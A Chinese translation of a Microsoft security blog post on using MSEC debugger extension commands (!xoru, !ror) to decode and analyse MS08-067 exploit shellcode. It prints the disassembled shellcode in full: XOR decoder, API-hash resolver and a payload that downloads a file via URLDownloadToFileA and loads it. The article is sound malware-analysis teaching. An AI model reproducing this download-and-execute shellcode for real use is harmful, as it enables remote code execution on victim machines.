利用MSEC调试器扩展进行Shellcode分析

本文详细介绍了如何使用MSEC调试器扩展分析MS08-067漏洞中的Shellcode,包括XOR解码和API哈希解析技术,帮助安全研究人员更高效地进行恶意代码分析。

Shellcode Analysis via MSEC Debugger Extensions

在之前的文章中,我们提供了关于今年早些时候发布的!exploitable Crash Analyzer的一些背景信息。我们没有提到的一点是,!exploitable只是MSEC调试器扩展导出的调试器命令之一。该扩展还包含一些Shellcode分析师可能觉得有用的附加命令。这些命令可以帮助解码Shellcode并将哈希解析为API名称。在本文中,我们将展示如何使用这些命令来帮助分析MS08-067漏洞利用中的Shellcode。在这个例子中,分析是在漏洞利用获得控制之前开始的。

解码工具

以下是Shellcode中自调用GetPC的开始部分:

1
2
3
4
5
6
7
0:016> u 010cf4fa
010cf4fa e8ffffffff      call    010cf4fe                     ; 自调用
010cf4ff c25f8d          ret     8D5Fh
010cf502 4f              dec     edi
0:016> u 010cf4fe
010cf4fe ffc2            inc     edx
010cf500 5f              pop     edi                          ; edi = 010cf4ff

然后使用XOR解码器:

1
2
3
4
5
6
010cf501 8d4f10          lea     ecx,[edi+10h]                ; ecx = 010cf50f
010cf504 8031c4          xor     byte ptr [ecx],0C4h
010cf507 41              inc     ecx
010cf508 6681394d53      cmp     word ptr [ecx],534Dh
010cf50d 75f5            jne     010cf504
010cf50f 38aec69da04f    cmp     byte ptr [esi+4FA09DC6h],ch  ; 编码的,反汇编为垃圾数据

为了解码有效载荷并进一步分析Shellcode,我们可以将字节保存到外部文件中,在IDA Pro等应用程序中加载文件,然后对字节运行解码脚本。这是一个相当繁琐的过程。MSEC调试器扩展以内置解码工具的形式提供了替代解决方案,可以帮助加快这项任务。其中一个命令是xoru:

1
2
3
4
5
6
7
8
0:016> !msec.xoru
 Usage  : !xoru [-b] address [len] key
 Example: !xoru eax 64 DD
 Example: !xoru -b eax 64 DD (在内存中保留转换后的缓冲区)
 Example: !xoru 0x00123456 DD (使用默认长度=256)
0:016> !msec.xoru 010cf50f c4
0x010cf50f  FC 6A 02 59 64 8B 41 2E 8B 40 0C 8B 40 1C 8B 00 8B .j.Yd.A..@..@....
0x010cf520  58 08 8D B7 A1 00 00 00 E8 29 00 00 00 50 E2 F8 8B X........)...P...

值得注意的是,这个Shellcode使用停止标记而不是计数器进行XOR循环,因此我们使用了默认的解码长度(256),因为Shellcode大小小于该值。继续解码后的有效载荷,我们可以看到漏洞利用从查找kernel32.dll的基地址开始:

1
2
3
4
5
6
7
010cf510 6a02            push    2
010cf512 59              pop     ecx
010cf513 648b412e        mov     eax,dword ptr fs:[ecx+2Eh]
010cf517 8b400c          mov     eax,dword ptr [eax+0Ch]
010cf51a 8b401c          mov     eax,dword ptr [eax+1Ch]
010cf51d 8b00            mov     eax,dword ptr [eax]
010cf51f 8b5808          mov     ebx,dword ptr [eax+8]     ; ebx = kernel32.dll基地址

有关代码的详细解释,请参见[1]。

API名称哈希解析工具

找到kernel32.dll的基地址后,Shellcode然后调用API哈希名称解析器:

1
2
010cf522 8db7a1000000    lea     esi,[edi+0A1h]   ; esi = 010cf5a0.
010cf528 e829000000      call    010cf556         ; 调用API名称哈希解析器

解析器返回目标函数的地址,该函数的哈希值由ESI指向,模块地址在EBX中。由于ESI寄存器中的值是静态已知的,我们可以找到Shellcode尝试匹配的预计算哈希值:

1
2
0:016> dd 010cf5a0 L1
010cf5a0  b24e66a4

然而,由于xoru的默认行为,这个值不正确,因为解码后的字节不存在于内存中。在这种情况下,我们可以使用“-b”开关,使xoru在内存中保留转换后的缓冲区:

1
2
3
0:016> !msec.xoru -b 010cf50f c4
0:016> dd 010cf5a0 L1
010cf5a0 768aa260

现在我们可以通过!msec.ror找出实际的API名称:

1
2
3
4
0:016> !msec.ror
Usage: !ror [-n <rotation count="">] [-c <value>] [-x]
Example: Get API name for hash value 0x0E8AFE98 using default rotation count 13.
         !ror 0x0E8AFE98</value></rotation>

这个命令的目的是确定与给定ror哈希对应的函数。ror哈希通常被运行在Windows上的Shellcode用作定位导出符号(如LoadLibraryA、WinExec等)的一种手段。值得注意的是,这个特定的Shellcode使用ROL而不是ROR,当前版本的MSEC调试器扩展不支持ROL。然而,由于ROL(n) = ROR(32-n),ROR(25)与ROL(7)具有相同的效果:

1
2
3
4
5
010cf575 c1c007          rol     eax,7
010cf578 3202            xor     al,byte ptr [edx]

0:016> !msec.ror -x -n 25 768aa260
ExitThread (kernel32.dll)

还应注意的是,Shellcode将下一个字符与哈希累加器进行XOR而不是ADD,因此使用“-x”开关。通过这种方式,我们可以找到Shellcode进行的其余API调用:

1
2
3
4
0:016> !msec.ror -x -n 25 c8ac8026
LoadLibraryA (kernel32.dll)
0:016> !msec.ror -x -n 25 d95d2399
URLDownloadToFileA (urlmon.dll)

有了这些知识,我们就能更好地快速完成Shellcode的分析:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
010cf50f fc         cld
010cf510 6a02       push    2
010cf512 59         pop     ecx                         ; ecx = 2
010cf513 648b412e   mov     eax,dword ptr fs:[ecx+2Eh]
010cf517 8b400c     mov     eax,dword ptr [eax+0Ch]
010cf51a 8b401c     mov     eax,dword ptr [eax+1Ch]
010cf51d 8b00       mov     eax,dword ptr [eax]
010cf51f 8b5808     mov     ebx,dword ptr [eax+8] ; ebx = kernel32.dll基地址
010cf522 8db7a1000000 lea     esi,[edi+0A1h]      ; esi = 010cf5a0. esi指向要解析的哈希值
010cf528 e829000000 call    010cf556            ; 调用API哈希解析器. esi += 4.
010cf52d 50         push    eax                 ; 将解析的函数指针(kernel32!ExitThread)压入栈
010cf52e e2f8       loop    010cf528            ; 由于ecx = 2,解析(kernel32!LoadLibraryA)并压入栈
010cf530 8bfc       mov     edi,esp             ; edi = LoadLibrary
010cf532 56         push    esi                 ; esi = 010cf5a8 = "urlmon"
010cf533 ff17       call    dword ptr [edi]     ; 调用LoadLirary("urlmon")
010cf535 93         xchg    eax,ebx             ; ebx = urlmon.dll的模块句柄(基地址)
010cf536 83c607     add     esi,7               ; esi = 010cf5af
010cf539 e818000000 call    010cf556            ; 调用API哈希解析器. esi += 4.
010cf53e 33d2       xor     edx,edx             ; eax = urlmon!URLDownloadToFileA
010cf540 52         push    edx                 ; ExitThread的参数
010cf541 52         push    edx                 ; 字符串NULL终止
010cf542 8bcc       mov     ecx,esp
010cf544 66c701782e mov     word ptr [ecx],2E78h ; ecx = 指向“.x”的指针
010cf549 51         push    ecx                 ; URLDownloadToFileA之后LoadLibrary将此字符串作为参数
010cf54a ff7704     push    dword ptr [edi+4]   ; 函数指针kernel32!ExitThreadURLDownloadToFileA之后LoadLibrary(.x)返回到ExitThread
010cf54d 52         push    edx                 ; lpfnCB = NULL
010cf54e 52         push    edx                 ; dwReserved = 0
010cf54f 51         push    ecx                 ; szFileName = .x
010cf550 56         push    esi                 ; szURL
010cf551 52         push    edx                 ; pCaller = NULL
010cf552 ff37       push    dword ptr [edi]     ; 函数指针LoadLibraryURLDownloadToFileA返回到LoadLibrary
010cf554 ffe0       jmp     eax                 ; 跳转到URLDownloadToFileA

结论

我们已经展示了MSEC调试器扩展如何通过提供一些辅助功能来帮助加快Shellcode的分析。我们希望这些工具能够帮助提高Shellcode分析师的效率和效果。

  • Jinwook Shin, MSEC Security Science 文章按"原样"提供,不提供任何保证,也不授予任何权利。

参考文献

[1] skape, Understanding Windows Shellcode. http://www.hick.org/code/skape/papers/win32-shellcode.pdf

comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计